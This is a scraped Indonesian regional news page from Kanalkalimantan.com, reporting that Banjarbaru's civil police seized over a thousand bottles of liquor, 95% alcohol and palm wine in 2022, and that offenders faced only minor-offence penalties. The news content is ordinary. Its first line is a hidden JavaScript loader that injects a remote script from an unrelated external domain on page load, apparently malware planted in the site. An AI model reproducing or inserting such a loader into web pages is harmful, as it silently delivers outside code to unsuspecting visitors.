(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Miras-Tuak-Alkohol Campuran PR Satpol PP Banjarbaru yang Cuma Kena Sanksi Tipiring


KANALKALIMANTAN.COM, BANJARBARU – Sepanjang tahun 2022, Satuan Polisi Pamong Praja (Satpol PP) berhasil mengamankan ribuan minuman keras (Miras) berbagai merk dari razia cipta kondisi.

Selain miras, ratusan minuman beralkohol lainnya juga berhasil diamankan Satpol PP Banjarbaru sepanjang tahun 2022 lalu.

Hal ini diungkapkan Kepala Satpol PP Banjarbaru, Hidayaturahman mengatakan sepanjang tahun 2022 pihaknya berhasil mengamankan 1.076 botol miras berbagai merk.

“Alkohol 95 persen ukuran 100 mililiter sebanyak 265 botol dan ukuran 300 mililiter sebanyak 11 botol,” ujarnya, Kamis (5/1/2023) siang.

 

Kasatpol PP Banjarbaru, Hidayaturahman. Foto: ibnu

Baca juga : Warning Wali Kota Aditya Semua Warung Jablai di Banjarbaru Dirobohkan

Selain alkohol 95 persen, pihaknya juga menyita minum suplemen pencampur dalam alkohol sebanyak 787 sachet.

“Ada juga tuak yang kami temukan baru-baru tadi lebih dari 400 liter dan 38 jerigen berisikan nira,” katanya.

Selama tahun 2022, pihaknya sudah 4 kali melakukan persidangan terkait barang haram hasil temuan tersebut.

“Hari ini kami juga melakukan sidang, temuan terakhir 300 botol miras lebih,” bebernya.

Karena kasus ini masuk klasifikasi tindak pidana ringan (Tipiring), kata Dayat, pelaku hanya diberikan denda atau kurungan badan selama beberapa hari dan barang bukti dimusnahkan.

Baca juga  : Pejabat di Diskominfo Kapuas Berganti

“Kami terus melakukan patroli cipta kondisi, terhadap titik rawan, termasuk patroli ke kawasan lingkungan pemukiman,” tuturnya.

Dirincikan Dayat, ada beberapa titik rawan di Kota Banjarbaru terkait rawannya peredaran miras ini, seperti di Jalan Trikora.

“Di situ ada beberapa tempat hiburan malam, eks lokalisasi Pembatuan, Jalan Karang Anyar, wilayah Cempaka dan beberapa wilayah rawan lainnya,” sebutnya.

Tidak hanya miras, dibeberkan Dayat, Satpol PP menindak yang menjadi keluhan masyarakat dan mengganggu ketertiban, baik miras, kost-kostan yang membuat resah warga dan lain-lain yang menjadikan ketertiban warga terganggu.

Baca juga  : Hari Kowal: Sejarah dan 12 Tokoh Angkatan Laut Perempuan Pertama di Indonesia

Kedepan, pihaknya akan terus menggalakkan lagi patroli cipta kondisi ke lingkungan masyarakat.

“Masyarakat bisa menginformasikan ke kami Satpol PP atau petugas RT, jika ada tempat-tempat indikasi peredaran miras dan sebagainya,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.